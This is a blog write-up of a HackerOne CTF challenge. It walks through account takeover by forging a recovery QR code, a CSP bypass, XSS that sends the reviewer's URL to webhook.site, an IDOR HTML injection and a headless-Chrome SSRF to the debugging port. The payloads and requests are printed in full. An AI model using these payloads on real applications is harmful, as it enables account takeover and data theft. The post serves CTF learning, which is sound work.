wow, that was cosmic
Tags: hackerone, ctf, h1415
Published: 2020-01-23 16:52:57

![Alt Text](https://thepracticaldev.s3.amazonaws.com/i/oejm5tebyawoirqr24jy.png)

Before I start I just want to thank [@checkm50](https://twitter.com/checkm50) & [@al-madjus](https://twitter.com/AlMadjus) for including me in the team. #TogetherWeHitHarder

**tldr;** Account take over => CSP bypass to execute `javascript` => IDOR => Access to internal network => access to `debugging` on headless Chrome.

[Original Report Submitted](https://hackerone.com/reports/781253)

This was the beginning of the of the `H1 CTF` - last year I didn't get far on my own so this year I collaborated with 2 awesome hackers [@checkm50](https://twitter.com/checkm50) & [@al-madjus](https://twitter.com/AlMadjus) we spent *days* trying to figure out how to get this done - thankful for being able to bounce ideas back and forth with them, this write up explains how we went from `account takeover` to infiltrating the internal network and accessing `debugging` endpoints on a `headless google chrome` instance.

### Application mapping

**Description**

Application allows users to sign up for a trial in which they can convert images into pdf files, on signup you also receive a `QR` code for account recovery. The initial account does not have access to `/support` which requires a full account, when generating pdfs the user's name is pulled from the application and used in the finished pdf, `/settings` allows to edit the user's name. 

### Account Takeover

To create an account you need:
- name
- email
- username
- password

Once you do that, the `back-end` generates a `QR` code that can be used for account recovery, if you decode the `QR` code you can see that it has the following format: `email:hash` at this point the idea was to somehow register an account with some invalid characters that would get stripped right before the `QR` generation function, if this happens we could basically register the email `jobert@mydocz.cosmic{}<>` the extra characters would get stripped and we could obtain a valid `QR` for the account `jobert@mydocz.cosmic` 

![Alt Text](https://thepracticaldev.s3.amazonaws.com/i/v7wnfzc35s11kwq8mojx.png)

> We found the `jobert@mydocz.cosmic` email when doing initial recon - it was left behind in the review section of the sign-in screen. 

So now we could log into `jobert's` account using the `/recover` endpoint and our forged `QR` code, however the account could not upload any documents, but we did have access to the `/support` page which had a chat, once we initiated conversation with the `bot` we noticed that we could inject html, using `webhook.site` we tested this by trying to request an image - it worked. Can we execute `JavaScript`? Enter `CSP` policy.

### CSP || GTFO

When we tried to execute `javascript` we noticed the following `CSP` policy:

```text
Content-Security-Policy: 
default-src 'self'; 
object-src 'none'; 
script-src 'self' https://raw.githack.com/mattboldt/typed.js/master/lib/; 
img-src data: *
```

So we can't execute any `scripts` unless they come from `https://raw.githack.com/mattboldt/typed.js/master/lib/` great - now to look for a bypass, after a long time we found the bypass by using `https://raw.githack.com/mattboldt/typed.js/master/lib/@https://github.com/username/repo_name/master/file_name.js`

> You have to remove the `/blob/` path from your github for this to work

this allowed us to run `scripts` and bypass `CSP`, so what's next?

### Let me speak to your manager

When we did the `ATO` for `jobert` we noticed that support was available, so I look into what was being loaded:

```js
function showReviewModal() {
    $("#review-modal").modal("show");
    for (var e = 0; e <= 5; e++) $("#star-" + e).removeClass("checked");
    $("#review-button").attr("disabled", !0)
}
rating = 3, $(".review-star").click(function(e) {
    rating = $(this).data("rating");
    for (var t = 1; t <= rating; t++) $("#star-" + t).addClass("checked");
    for (t = rating + 1; t <= 5; t++) $("#star-" + t).removeClass("checked");
    $("#rating-input").val(rating), 1 === rating && $("#report-message").text("We're sorry about that. Our team will review this conversation shortly."), $("#review-button").attr("disabled", !1)
}), $("#chat-form").submit(function(e) {}), $("#chat-form").submit(async function(e) {
    e.preventDefault();
    var t = $("#chat-textarea").val();
    if ("finish" !== t.toLowerCase() && "quit" !== t.toLowerCase()) {
        if ($("#chat-textarea").val(""), $("#chat-button").attr("disabled", !0), $("#chat-div").append(decodeURIComponent('<h3><span class="badge badge-primary">' + t + "</span></h3>")), window.scrollTo(0, document.body.scrollHeight), t.length > 0) {
            var a = await fetch("/support/chat?message=" + t);
            showTypedMessages([(await a.json()).response])
        }
        $("#chat-button").attr("disabled", !1), $("#chat-textarea").focus()
    } else showReviewModal()
}), showTypedMessages(["Hello!", "How can I help you?"]), $("#chat-textarea").focus();
```
If you ran `showReviewModal()` from your `dev console` you would get a "Review" modal, where if given `1` star you would receive the "We're sorry about that. Our team will review this conversation shortly." message - quick shout out to the [hacker101 ctf](http://hacker101.com) there's a challenge just like this one there that helped us understand what was going on. 

If we included a payload here - it would fire once in our browser and again from the reviewer's side - interesting, we looked for a lot of stuff here, but the most important one was getting the current url of the browser:

```js
var image = document.createElement("img")
var image.src = "webhook.site/1234/img.png?url= + window.location.href
document.body.appendChild(image)
```

Using this payload we were able to see this:

`http://localhost:3000/support/review/39b707f120c5fde356bf0f5daec51bee292d38862d2bc7d09ba032257365e2dd`

Which if turned into: `https://h1-415.h1ctf.com//support/review/39b707f120c5fde356bf0f5daec51bee292d38862d2bc7d09ba032257365e2dd`

Would give us direct access to the review - the review page looked like:

![Alt Text](https://thepracticaldev.s3.amazonaws.com/i/i7151ni9szxksrs1n12n.png)

Here we got stuck, what could possibly be next?!

### IDOR YOU 

We tested everything - and after many hours discovered an `IDOR` that allowed us to change user's `name` remember from before - the user's `name` gets added to the final `pdf` but we had tried to inject `html` before using `/settings` and it encoded everything correctly - maybe this `/review` route is not encoding characters properly - so we tried it, we signed up for a new account - submitted the `/review` form but with another user's `user_id`, which can be found in the `/settings` page as a hidden `input`

```
POST /support/review/6542aa9e862bae99ebff66ce40c3a01402e6ec1263d661d40c552d875a9102e0 HTTP/1.1
Host: h1-415.h1ctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 74
Cookie: _csrf_token=71d2eed9870ab7ff665140ebd1a68391a57fd3ee; session=.eJw9y9EKwiAYhuF7-Y9HzK3p5lH3ESG_-kmrnEPtYEX33iDo8IXnfZNxJQdT0x0LaVLCd4CfRtWyVSFIOYhjC-sFy7GfBA8q-B6ghtyVK-nzpSFEnh_7fEsWuZ7i5pN7HVwqcXY7fBZkU7cVpLtfLRzx9_T5AvsNKzQ.XiahyQ.frH-NvIt1yzgFztKvF5RlR0c5ho

name=<img src=webhook.site/>&user_id=3&_csrf_token=71d2eed9870ab7ff665140ebd1a68391a57fd3ee
```
This request allowed us to set the name of `user:3` as `<img src=webhook.site/>` which if everything worked would allow us to get more information about the backend - and it did. I also used [@daekens ssrf tester]() which gave me this information:

`User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/79.0.3945.0 Safari/537.36`

Cool, so now we know that this pdf is being rendered by `HeadlessChrome` - but now what? 

### I heard you like iFrames 

We can inject html markup and we know it'll be rendered `server-side` and then displayed when we convert an image to a pdf, we also know that the application actually runs on `localhost:3000` because the calls come back from there - so let's try to port scan and see if we can something else in there! 

We tried everything we could - yes even `localhost:1337` and nothing was coming up, I was about to go to bed - after almost a week at it I was tiered and sleepy but [@checkm50](https://twitter.com/checkm50) wouldn't let me give up, so we continue, I opened up google and searched for `headless chrome port` if all fails - GOOGLE! 

![Alt Text](https://thepracticaldev.s3.amazonaws.com/i/08qmfud9edmny0kam9r4.png)

And in there I found the following

```bash
chrome \
  --headless \                   # Runs Chrome in headless mode.
  --disable-gpu \                # Temporarily needed if running on Windows.
  --remote-debugging-port=9222 \
  https://www.chromestatus.com   # URL to open. Defaults to about:blank.
```

I see a port number - so let's give it a go and receive we `Inspectable WebContents` okay at least is not empty or forbidden - so I show this to `checkm50` and he says to look at `/json` so I used this as a payload:

`<iframe src='http://localhost:9222/json' width=900 height=900></iframe>` 

![Alt Text](https://thepracticaldev.s3.amazonaws.com/i/o42m3orqcf1qb65u0cy2.png)

In there you can see: `secret_document=0d0a2d2a3b87c44ed13e0cbfc863ad4322c7913735218310e3d9ebe37e6a84ab.pdf"` 

That looks good - let's try to open it using the `/documents/` endpoint:

`https://h1-415.h1ctf.com/documents/0d0a2d2a3b87c44ed13e0cbfc863ad4322c7913735218310e3d9ebe37e6a84ab.pdf`

![Alt Text](https://thepracticaldev.s3.amazonaws.com/i/urcm7s9nsz56p8h5lr0l.png)

This was my reaction:


![Alt Text](https://thepracticaldev.s3.amazonaws.com/i/irj471ljpe63fjag3tzg.png)

### Thoughts
Collaboration brings the best out in people, allowing others to hear your thoughts and bounce ideas is the reason why we solved this. It was hard and it pushed me to learn new things. I started last year using the [hacker101 ctf](https://hacker101.com) and I'm so thankful I joined. If you want to learn signup and join us on [discord](https://www.hacker101.com/discord)